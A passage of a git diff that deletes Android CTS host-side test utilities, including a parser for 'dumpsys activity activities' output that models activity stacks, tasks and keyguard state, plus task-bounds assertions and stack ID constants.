- if (aTaskMinWidth == -1 || aTaskMinHeight == -1) {
- // Minimal dimension(s) not set for task - it should be using defaults.
- int defaultMinimalSize = (stackId == PINNED_STACK_ID)
- ? defaultMinimalPinnedTaskSize(aStack.mDisplayId)
- : defaultMinimalTaskSize(aStack.mDisplayId);
-
- if (aTaskMinWidth == -1) {
- aTaskMinWidth = defaultMinimalSize;
- }
- if (aTaskMinHeight == -1) {
- aTaskMinHeight = defaultMinimalSize;
- }
- }
-
- if (aStackBounds.getWidth() >= aTaskMinWidth
- && aStackBounds.getHeight() >= aTaskMinHeight
- || stackId == PINNED_STACK_ID) {
- // Bounds are not smaller then minimal possible, so stack and task
- // bounds must be equal.
- assertEquals("Task bounds must be equal to stack bounds taskId="
- + taskId + ", stackId=" + stackId, aStackBounds, wTaskBounds);
- } else if (stackId == DOCKED_STACK_ID && homeStackIsResizable
- && mWmState.isDockedStackMinimized()) {
- // Portrait if the display height is larger than the width
- if (displayRect.getHeight() > displayRect.getWidth()) {
- assertEquals("Task width must be equal to stack width taskId="
- + taskId + ", stackId=" + stackId,
- aStackBounds.getWidth(), wTaskBounds.getWidth());
- assertTrue("Task height must be greater than stack height "
- + "taskId=" + taskId + ", stackId=" + stackId,
- aStackBounds.getHeight() < wTaskBounds.getHeight());
- assertEquals("Task and stack x position must be equal taskId="
- + taskId + ", stackId=" + stackId,
- wTaskBounds.getX(), wStackBounds.getX());
- } else {
- assertTrue("Task width must be greater than stack width taskId="
- + taskId + ", stackId=" + stackId,
- aStackBounds.getWidth() < wTaskBounds.getWidth());
- assertEquals("Task height must be equal to stack height taskId="
- + taskId + ", stackId=" + stackId,
- aStackBounds.getHeight(), wTaskBounds.getHeight());
- assertEquals("Task and stack y position must be equal taskId="
- + taskId + ", stackId=" + stackId, wTaskBounds.getY(),
- wStackBounds.getY());
- }
- } else {
- // Minimal dimensions affect task size, so bounds of task and stack must
- // be different - will compare dimensions instead.
- int targetWidth = (int) Math.max(aTaskMinWidth,
- aStackBounds.getWidth());
- assertEquals("Task width must be set according to minimal width"
- + " taskId=" + taskId + ", stackId=" + stackId,
- targetWidth, (int) wTaskBounds.getWidth());
- int targetHeight = (int) Math.max(aTaskMinHeight,
- aStackBounds.getHeight());
- assertEquals("Task height must be set according to minimal height"
- + " taskId=" + taskId + ", stackId=" + stackId,
- targetHeight, (int) wTaskBounds.getHeight());
- }
- }
- }
- }
- }
- }
-
- static int dpToPx(float dp, int densityDpi){
- return (int) (dp * densityDpi / DISPLAY_DENSITY_DEFAULT + 0.5f);
- }
-
- private int defaultMinimalTaskSize(int displayId) {
- return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
- }
-
- private int defaultMinimalPinnedTaskSize(int displayId) {
- return dpToPx(DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
deleted file mode 100644
index fa79c5e..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
+++ /dev/null
@@ -1,910 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.awt.Rectangle;
-import java.lang.Integer;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-
-import java.util.Map;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.RECENTS_STACK_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-class ActivityManagerState {
- public static final int DUMP_MODE_ACTIVITIES = 0;
-
- public static final String STATE_RESUMED = "RESUMED";
- public static final String STATE_PAUSED = "PAUSED";
- public static final String STATE_STOPPED = "STOPPED";
- public static final String STATE_DESTROYED = "DESTROYED";
-
- public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
-
- private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity activities";
-
- // Copied from ActivityRecord.java
- private static final int APPLICATION_ACTIVITY_TYPE = 0;
- private static final int HOME_ACTIVITY_TYPE = 1;
- private static final int RECENTS_ACTIVITY_TYPE = 2;
-
- private final Pattern mDisplayIdPattern = Pattern.compile("Display #(\\d+).*");
- private final Pattern mStackIdPattern = Pattern.compile("Stack #(\\d+)\\:");
- private final Pattern mResumedActivityPattern =
- Pattern.compile("ResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
- private final Pattern mFocusedStackPattern =
- Pattern.compile("mFocusedStack=ActivityStack\\{(.+) stackId=(\\d+), (.+)\\}(.+)");
-
- private final Pattern[] mExtractStackExitPatterns =
- { mStackIdPattern, mResumedActivityPattern, mFocusedStackPattern, mDisplayIdPattern };
-
- // Stacks in z-order with the top most at the front of the list, starting with primary display.
- private final List<ActivityStack> mStacks = new ArrayList();
- // Stacks on all attached displays, in z-order with the top most at the front of the list.
- private final Map<Integer, List<ActivityStack>> mDisplayStacks = new HashMap<>();
- private KeyguardControllerState mKeyguardControllerState;
- private int mFocusedStackId = -1;
- private String mResumedActivityRecord = null;
- private final List<String> mResumedActivities = new ArrayList();
- private final LinkedList<String> mSysDump = new LinkedList();
-
- void computeState(ITestDevice device) throws DeviceNotAvailableException {
- computeState(device, DUMP_MODE_ACTIVITIES);
- }
-
- void computeState(ITestDevice device, int dumpMode) throws DeviceNotAvailableException {
- // It is possible the system is in the middle of transition to the right state when we get
- // the dump. We try a few times to get the information we need before giving up.
- int retriesLeft = 3;
- boolean retry = false;
- String dump = null;
-
- log("==============================");
- log(" ActivityManagerState ");
- log("==============================");
-
- do {
- if (retry) {
- log("***Incomplete AM state. Retrying...");
- // Wait half a second between retries for activity manager to finish transitioning.
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- }
-
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- String dumpsysCmd = "";
- switch (dumpMode) {
- case DUMP_MODE_ACTIVITIES:
- dumpsysCmd = DUMPSYS_ACTIVITY_ACTIVITIES; break;
- }
- device.executeShellCommand(dumpsysCmd, outputReceiver);
- dump = outputReceiver.getOutput();
- parseSysDump(dump);
-
- retry = mStacks.isEmpty() || mFocusedStackId == -1 || (mResumedActivityRecord == null
- || mResumedActivities.isEmpty()) && !mKeyguardControllerState.keyguardShowing;
- } while (retry && retriesLeft-- > 0);
-
- if (retry) {
- log(dump);
- }
-
- if (mStacks.isEmpty()) {
- logE("No stacks found...");
- }
- if (mFocusedStackId == -1) {
- logE("No focused stack found...");
- }
- if (mResumedActivityRecord == null) {
- logE("No focused activity found...");
- }
- if (mResumedActivities.isEmpty()) {
- logE("No resumed activities found...");
- }
- }
-
- private void parseSysDump(String sysDump) {
- reset();
-
- Collections.addAll(mSysDump, sysDump.split("\\n"));
-
- int currentDisplayId = 0;
- while (!mSysDump.isEmpty()) {
- final ActivityStack stack = ActivityStack.create(mSysDump, mStackIdPattern,
- mExtractStackExitPatterns, currentDisplayId);
-
- if (stack != null) {
- mStacks.add(stack);
- mDisplayStacks.get(currentDisplayId).add(stack);
- if (stack.mResumedActivity != null) {
- mResumedActivities.add(stack.mResumedActivity);
- }
- continue;
- }
-
- KeyguardControllerState controller = KeyguardControllerState.create(
- mSysDump, new Pattern[0]);
- if (controller != null) {
- mKeyguardControllerState = controller;
- continue;
- }
-
- final String line = mSysDump.pop().trim();
-
- Matcher matcher = mFocusedStackPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String stackId = matcher.group(2);
- log(stackId);
- mFocusedStackId = Integer.parseInt(stackId);
- continue;
- }
-
- matcher = mResumedActivityPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mResumedActivityRecord = matcher.group(3);
- log(mResumedActivityRecord);
- continue;
- }
-
- matcher = mDisplayIdPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String displayId = matcher.group(1);
- log(displayId);
- currentDisplayId = Integer.parseInt(displayId);
- mDisplayStacks.put(currentDisplayId, new ArrayList<>());
- }
- }
- }
-
- private void reset() {
- mStacks.clear();
- mFocusedStackId = -1;
- mResumedActivityRecord = null;
- mResumedActivities.clear();
- mSysDump.clear();
- mKeyguardControllerState = null;
- }
-
- int getFrontStackId(int displayId) {
- return mDisplayStacks.get(displayId).get(0).mStackId;
- }
-
- int getFocusedStackId() {
- return mFocusedStackId;
- }
-
- String getFocusedActivity() {
- return mResumedActivityRecord;
- }
-
- String getResumedActivity() {
- return mResumedActivities.get(0);
- }
-
- int getResumedActivitiesCount() {
- return mResumedActivities.size();
- }
-
- public KeyguardControllerState getKeyguardControllerState() {
- return mKeyguardControllerState;
- }
-
- boolean containsStack(int stackId) {
- return getStackById(stackId) != null;
- }
-
- ActivityStack getStackById(int stackId) {
- for (ActivityStack stack : mStacks) {
- if (stackId == stack.mStackId) {
- return stack;
- }
- }
- return null;
- }
-
- int getStackPosition(int stackId) {
- for (Integer displayId : mDisplayStacks.keySet()) {
- List<ActivityStack> stacks = mDisplayStacks.get(displayId);
- for (int i = 0; i < stacks.size(); i++) {
- if (stackId == stacks.get(i).mStackId) {
- return i;
- }
- }
- }
- return -1;
- }
-
- List<ActivityStack> getStacks() {
- return new ArrayList(mStacks);
- }
-
- int getStackCount() {
- return mStacks.size();
- }
-
- boolean containsActivity(String activityName) {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(activityName)) {
- return true;
- }
- }
- }
- }
- return false;
- }
-
- boolean isActivityVisible(String activityName) {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(activityName)) {
- return activity.visible;
- }
- }
- }
- }
- return false;
- }
-
- boolean containsStartedActivities() {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (!activity.state.equals(STATE_STOPPED)
- && !activity.state.equals(STATE_DESTROYED)) {
- return true;
- }
- }
- }
- }
- return false;
- }
-
- boolean hasActivityState(String activityName, String activityState) {
- String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(fullName)) {
- return activity.state.equals(activityState);
- }
- }
- }
- }
- return false;
- }
-
- int getActivityProcId(String activityName) {
- for (ActivityStack stack : mStacks) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(activityName)) {
- return activity.procId;
- }
- }
- }
- }
- return -1;
- }
-
- boolean isHomeActivityVisible() {
- final Activity homeActivity = getHomeActivity();
- return homeActivity != null && homeActivity.visible;
- }
-
- boolean isRecentsActivityVisible() {
- final Activity recentsActivity = getRecentsActivity();
- return recentsActivity != null && recentsActivity.visible;
- }
-
- String getHomeActivityName() {
- Activity activity = getHomeActivity();
- if (activity == null) {
- return null;
- }
- return activity.name;
- }
-
- ActivityTask getHomeTask() {
- ActivityStack homeStack = getStackById(HOME_STACK_ID);
- if (homeStack != null) {
- for (ActivityTask task : homeStack.mTasks) {
- if (task.mTaskType == HOME_ACTIVITY_TYPE) {
- return task;
- }
- }
- return null;
- }
- return null;
- }
-
- ActivityTask getRecentsTask() {
- ActivityStack recentsStack = getStackById(RECENTS_STACK_ID);
- if (recentsStack != null) {
- for (ActivityTask task : recentsStack.mTasks) {
- if (task.mTaskType == RECENTS_ACTIVITY_TYPE) {
- return task;
- }
- }
- return null;
- }
- return null;
- }
-
- private Activity getHomeActivity() {
- final ActivityTask homeTask = getHomeTask();
- return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
- }
-
- private Activity getRecentsActivity() {
- final ActivityTask recentsTask = getRecentsTask();
- return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
- : null;
- }
-
- ActivityTask getTaskByActivityName(String activityName) {
- return getTaskByActivityName(activityName, -1);
- }
-
- ActivityTask getTaskByActivityName(String activityName, int stackId) {
- String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
- for (ActivityStack stack : mStacks) {
- if (stackId == -1 || stackId == stack.mStackId) {
- for (ActivityTask task : stack.mTasks) {
- for (Activity activity : task.mActivities) {
- if (activity.name.equals(fullName)) {
- return task;
- }
- }
- }
- }
- }
- return null;
- }
-
- static class ActivityStack extends ActivityContainer {
-
- private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
- private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
- "mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
- private static final Pattern SLEEPING_PATTERN = Pattern.compile("isSleeping=(\\S+)");
-
- int mDisplayId;
- int mStackId;
- String mResumedActivity;
- Boolean mSleeping; // A Boolean to trigger an NPE if it's not initialized
- ArrayList<ActivityTask> mTasks = new ArrayList();
-
- private ActivityStack() {
- }
-
- static ActivityStack create(LinkedList<String> dump, Pattern stackIdPattern,
- Pattern[] exitPatterns, int displayId) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = stackIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a stack.
- return null;
- }
- // For the stack Id line we just read.
- dump.pop();
-
- final ActivityStack stack = new ActivityStack();
- stack.mDisplayId = displayId;
- log(line);
- final String stackId = matcher.group(1);
- log(stackId);
- stack.mStackId = Integer.parseInt(stackId);
- stack.extract(dump, exitPatterns);
- return stack;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- final List<Pattern> taskExitPatterns = new ArrayList();
- Collections.addAll(taskExitPatterns, exitPatterns);
- taskExitPatterns.add(TASK_ID_PATTERN);
- taskExitPatterns.add(RESUMED_ACTIVITY_PATTERN);
- final Pattern[] taskExitPatternsArray =
- taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
- while (!doneExtracting(dump, exitPatterns)) {
- final ActivityTask task =
- ActivityTask.create(dump, TASK_ID_PATTERN, taskExitPatternsArray);
-
- if (task != null) {
- mTasks.add(task);
- continue;
- }
-
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- Matcher matcher = RESUMED_ACTIVITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mResumedActivity = matcher.group(3);
- log(mResumedActivity);
- continue;
- }
-
- matcher = SLEEPING_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mSleeping = "true".equals(matcher.group(1));
- continue;
- }
- }
- }
-
- /**
- * @return the bottom task in the stack.
- */
- ActivityTask getBottomTask() {
- if (!mTasks.isEmpty()) {
- // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
- // so the indices are inverted
- return mTasks.get(mTasks.size() - 1);
- }
- return null;
- }
-
- /**
- * @return the top task in the stack.
- */
- ActivityTask getTopTask() {
- if (!mTasks.isEmpty()) {
- // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
- // so the indices are inverted
- return mTasks.get(0);
- }
- return null;
- }
-
- List<ActivityTask> getTasks() {
- return new ArrayList(mTasks);
- }
-
- ActivityTask getTask(int taskId) {
- for (ActivityTask task : mTasks) {
- if (taskId == task.mTaskId) {
- return task;
- }
- }
- return null;
- }
- }
-
- static class ActivityTask extends ActivityContainer {
- private static final Pattern TASK_RECORD_PATTERN = Pattern.compile("\\* TaskRecord\\"
- + "{(\\S+) #(\\d+) (\\S+)=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
-
- private static final Pattern LAST_NON_FULLSCREEN_BOUNDS_PATTERN = Pattern.compile(
- "mLastNonFullscreenBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
-
- private static final Pattern ORIG_ACTIVITY_PATTERN = Pattern.compile("origActivity=(\\S+)");
- private static final Pattern REAL_ACTIVITY_PATTERN = Pattern.compile("realActivity=(\\S+)");
-
- private static final Pattern ACTIVITY_NAME_PATTERN = Pattern.compile(
- "\\* Hist #(\\d+)\\: ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}");
-
- private static final Pattern TASK_TYPE_PATTERN = Pattern.compile("autoRemoveRecents=(\\S+) "
- + "isPersistable=(\\S+) numFullscreen=(\\d+) taskType=(\\d+) "
- + "mTaskToReturnTo=(\\d+)");
-
- private static final Pattern RESIZABLE_PATTERN = Pattern.compile(
- ".*mResizeMode=([^\\s]+).*");
-
- int mTaskId;
- int mStackId;
- Rectangle mLastNonFullscreenBounds;
- String mRealActivity;
- String mOrigActivity;
- ArrayList<Activity> mActivities = new ArrayList();
- int mTaskType = -1;
- int mReturnToType = -1;
- private String mResizeMode;
-
- private ActivityTask() {
- }
-
- static ActivityTask create(
- LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = taskIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a task.
- return null;
- }
- // For the task Id line we just read.
- dump.pop();
-
- final ActivityTask task = new ActivityTask();
- log(line);
- final String taskId = matcher.group(1);
- log(taskId);
- task.mTaskId = Integer.parseInt(taskId);
- task.extract(dump, exitPatterns);
- return task;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- final List<Pattern> activityExitPatterns = new ArrayList();
- Collections.addAll(activityExitPatterns, exitPatterns);
- activityExitPatterns.add(ACTIVITY_NAME_PATTERN);
- final Pattern[] activityExitPatternsArray =
- activityExitPatterns.toArray(new Pattern[activityExitPatterns.size()]);
-
- while (!doneExtracting(dump, exitPatterns)) {
- final Activity activity =
- Activity.create(dump, ACTIVITY_NAME_PATTERN, activityExitPatternsArray);
-
- if (activity != null) {
- mActivities.add(activity);
- continue;
- }
-
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- if (extractMinimalSize(line)) {
- continue;
- }
-
- Matcher matcher = TASK_RECORD_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String stackId = matcher.group(6);
- mStackId = Integer.valueOf(stackId);
- log(stackId);
- continue;
- }
-
- matcher = LAST_NON_FULLSCREEN_BOUNDS_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mLastNonFullscreenBounds = extractBounds(matcher);
- }
-
- matcher = REAL_ACTIVITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- if (mRealActivity == null) {
- log(line);
- mRealActivity = matcher.group(1);
- log(mRealActivity);
- }
- continue;
- }
-
- matcher = ORIG_ACTIVITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- if (mOrigActivity == null) {
- log(line);
- mOrigActivity = matcher.group(1);
- log(mOrigActivity);
- }
- continue;
- }
-
- matcher = TASK_TYPE_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mTaskType = Integer.valueOf(matcher.group(4));
- mReturnToType = Integer.valueOf(matcher.group(5));
- continue;
- }
-
- matcher = RESIZABLE_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- mResizeMode = matcher.group(1);
- log(mResizeMode);
- continue;
- }
- }
- }
-
- public String getResizeMode() {
- return mResizeMode;
- }
-
- /**
- * @return whether this task contains the given activity.
- */
- public boolean containsActivity(String activityName) {
- for (Activity activity : mActivities) {
- if (activity.name.equals(activityName)) {
- return true;
- }
- }
- return false;
- }
- }
-
- static class Activity {
- private static final Pattern STATE_PATTERN = Pattern.compile("state=(\\S+).*");
- private static final Pattern VISIBILITY_PATTERN = Pattern.compile("keysPaused=(\\S+) "
- + "inHistory=(\\S+) visible=(\\S+) sleeping=(\\S+) idle=(\\S+) "
- + "mStartingWindowState=(\\S+)");
- private static final Pattern FRONT_OF_TASK_PATTERN = Pattern.compile("frontOfTask=(\\S+) "
- + "task=TaskRecord\\{(\\S+) #(\\d+) A=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
- private static final Pattern PROCESS_RECORD_PATTERN = Pattern.compile(
- "app=ProcessRecord\\{(\\S+) (\\d+):(\\S+)/(.+)\\}");
-
- String name;
- String state;
- boolean visible;
- boolean frontOfTask;
- int procId = -1;
-
- private Activity() {
- }
-
- static Activity create(
- LinkedList<String> dump, Pattern activityNamePattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = activityNamePattern.matcher(line);
- if (!matcher.matches()) {
- // Not an activity.
- return null;
- }
- // For the activity name line we just read.
- dump.pop();
-
- final Activity activity = new Activity();
- log(line);
- activity.name = matcher.group(4);
- log(activity.name);
- activity.extract(dump, exitPatterns);
- return activity;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- // Break the activity extraction once we hit an empty line
- if (line.isEmpty()) {
- break;
- }
-
- Matcher matcher = VISIBILITY_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String visibleString = matcher.group(3);
- visible = Boolean.valueOf(visibleString);
- log(visibleString);
- continue;
- }
-
- matcher = STATE_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- state = matcher.group(1);
- log(state);
- continue;
- }
-
- matcher = PROCESS_RECORD_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String procIdString = matcher.group(2);
- procId = Integer.valueOf(procIdString);
- log(procIdString);
- continue;
- }
-
- matcher = FRONT_OF_TASK_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String frontOfTaskString = matcher.group(1);
- frontOfTask = Boolean.valueOf(frontOfTaskString);
- log(frontOfTaskString);
- continue;
- }
- }
- }
- }
-
- static abstract class ActivityContainer {
- protected static final Pattern FULLSCREEN_PATTERN = Pattern.compile("mFullscreen=(\\S+)");
- protected static final Pattern BOUNDS_PATTERN =
- Pattern.compile("mBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
- protected static final Pattern MIN_WIDTH_PATTERN =
- Pattern.compile("mMinWidth=(\\d+)");
- protected static final Pattern MIN_HEIGHT_PATTERN =
- Pattern.compile("mMinHeight=(\\d+)");
-
- protected boolean mFullscreen;
- protected Rectangle mBounds;
- protected int mMinWidth = -1;
- protected int mMinHeight = -1;
-
- boolean extractFullscreen(String line) {
- final Matcher matcher = FULLSCREEN_PATTERN.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- final String fullscreen = matcher.group(1);
- log(fullscreen);
- mFullscreen = Boolean.valueOf(fullscreen);
- return true;
- }
-
- boolean extractBounds(String line) {
- final Matcher matcher = BOUNDS_PATTERN.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- mBounds = extractBounds(matcher);
- return true;
- }
-
- static Rectangle extractBounds(Matcher matcher) {
- final int left = Integer.valueOf(matcher.group(1));
- final int top = Integer.valueOf(matcher.group(2));
- final int right = Integer.valueOf(matcher.group(3));
- final int bottom = Integer.valueOf(matcher.group(4));
- final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
- log(rect.toString());
- return rect;
- }
-
- boolean extractMinimalSize(String line) {
- final Matcher minWidthMatcher = MIN_WIDTH_PATTERN.matcher(line);
- final Matcher minHeightMatcher = MIN_HEIGHT_PATTERN.matcher(line);
-
- if (minWidthMatcher.matches()) {
- log(line);
- mMinWidth = Integer.valueOf(minWidthMatcher.group(1));
- } else if (minHeightMatcher.matches()) {
- log(line);
- mMinHeight = Integer.valueOf(minHeightMatcher.group(1));
- } else {
- return false;
- }
- return true;
- }
-
- Rectangle getBounds() {
- return mBounds;
- }
-
- boolean isFullscreen() {
- return mFullscreen;
- }
-
- int getMinWidth() {
- return mMinWidth;
- }
-
- int getMinHeight() {
- return mMinHeight;
- }
- }
-
- static class KeyguardControllerState {
- private static final Pattern NAME_PATTERN = Pattern.compile("KeyguardController:");
- private static final Pattern SHOWING_PATTERN = Pattern.compile("mKeyguardShowing=(\\S+)");
- private static final Pattern OCCLUDED_PATTERN = Pattern.compile("mOccluded=(\\S+)");
-
- boolean keyguardShowing;
- boolean keyguardOccluded;
-
- private KeyguardControllerState() {
- }
-
- static KeyguardControllerState create(LinkedList<String> dump, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = NAME_PATTERN.matcher(line);
- if (!matcher.matches()) {
- // Not KeyguardController
- return null;
- }
-
- // For the KeyguardController line we just read.
- dump.pop();
-
- final KeyguardControllerState controller = new KeyguardControllerState();
- controller.extract(dump, exitPatterns);
- return controller;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- Matcher matcher = SHOWING_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String showingString = matcher.group(1);
- keyguardShowing = Boolean.valueOf(showingString);
- log(showingString);
- continue;
- }
-
- matcher = OCCLUDED_PATTERN.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String occludedString = matcher.group(1);
- keyguardOccluded = Boolean.valueOf(occludedString);
- log(occludedString);
- continue;
- }
- }
- }
- }
-
- static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
- if (dump.isEmpty()) {
- return true;
- }
- final String line = dump.peek().trim();
-
- for (Pattern pattern : exitPatterns) {
- if (pattern.matcher(line).matches()) {
- return true;
- }
- }
- return false;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
deleted file mode 100644
index 9ba292f..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ /dev/null
@@ -1,1459 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.awt.image.BufferedImage;
-import java.lang.Exception;
-import java.lang.Integer;
-import java.lang.String;
-import java.util.HashSet;
-import java.util.List;
-import java.util.UUID;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-
-import javax.imageio.ImageIO;
-
-public abstract class ActivityManagerTestBase extends DeviceTestCase {
- private static final boolean PRETEND_DEVICE_SUPPORTS_PIP = false;
- private static final boolean PRETEND_DEVICE_SUPPORTS_FREEFORM = false;
- private static final String LOG_SEPARATOR = "LOG_SEPARATOR";
-
- // Constants copied from ActivityManager.StackId. If they are changed there, these must be
- // updated.
- /** Invalid stack ID. */
- public static final int INVALID_STACK_ID = -1;
-
- /** First static stack ID. */
- public static final int FIRST_STATIC_STACK_ID = 0;
-
- /** Home activity stack ID. */
- public static final int HOME_STACK_ID = FIRST_STATIC_STACK_ID;
-
- /** ID of stack where fullscreen activities are normally launched into. */
- public static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
- /** ID of stack where freeform/resized activities are normally launched into. */
- public static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that occupies a dedicated region of the screen. */
- public static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
- /** ID of stack that always on top (always visible) when it exist. */
- public static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
-
- /** Recents activity stack ID. */
- public static final int RECENTS_STACK_ID = PINNED_STACK_ID + 1;
-
- /** Assistant activity stack ID. This stack is fullscreen and non-resizeable. */
- public static final int ASSISTANT_STACK_ID = RECENTS_STACK_ID + 1;
-
- protected static final int[] ALL_STACK_IDS_BUT_HOME = {
- FULLSCREEN_WORKSPACE_STACK_ID, FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID,
- PINNED_STACK_ID, ASSISTANT_STACK_ID
- };
-
- protected static final int[] ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN = {
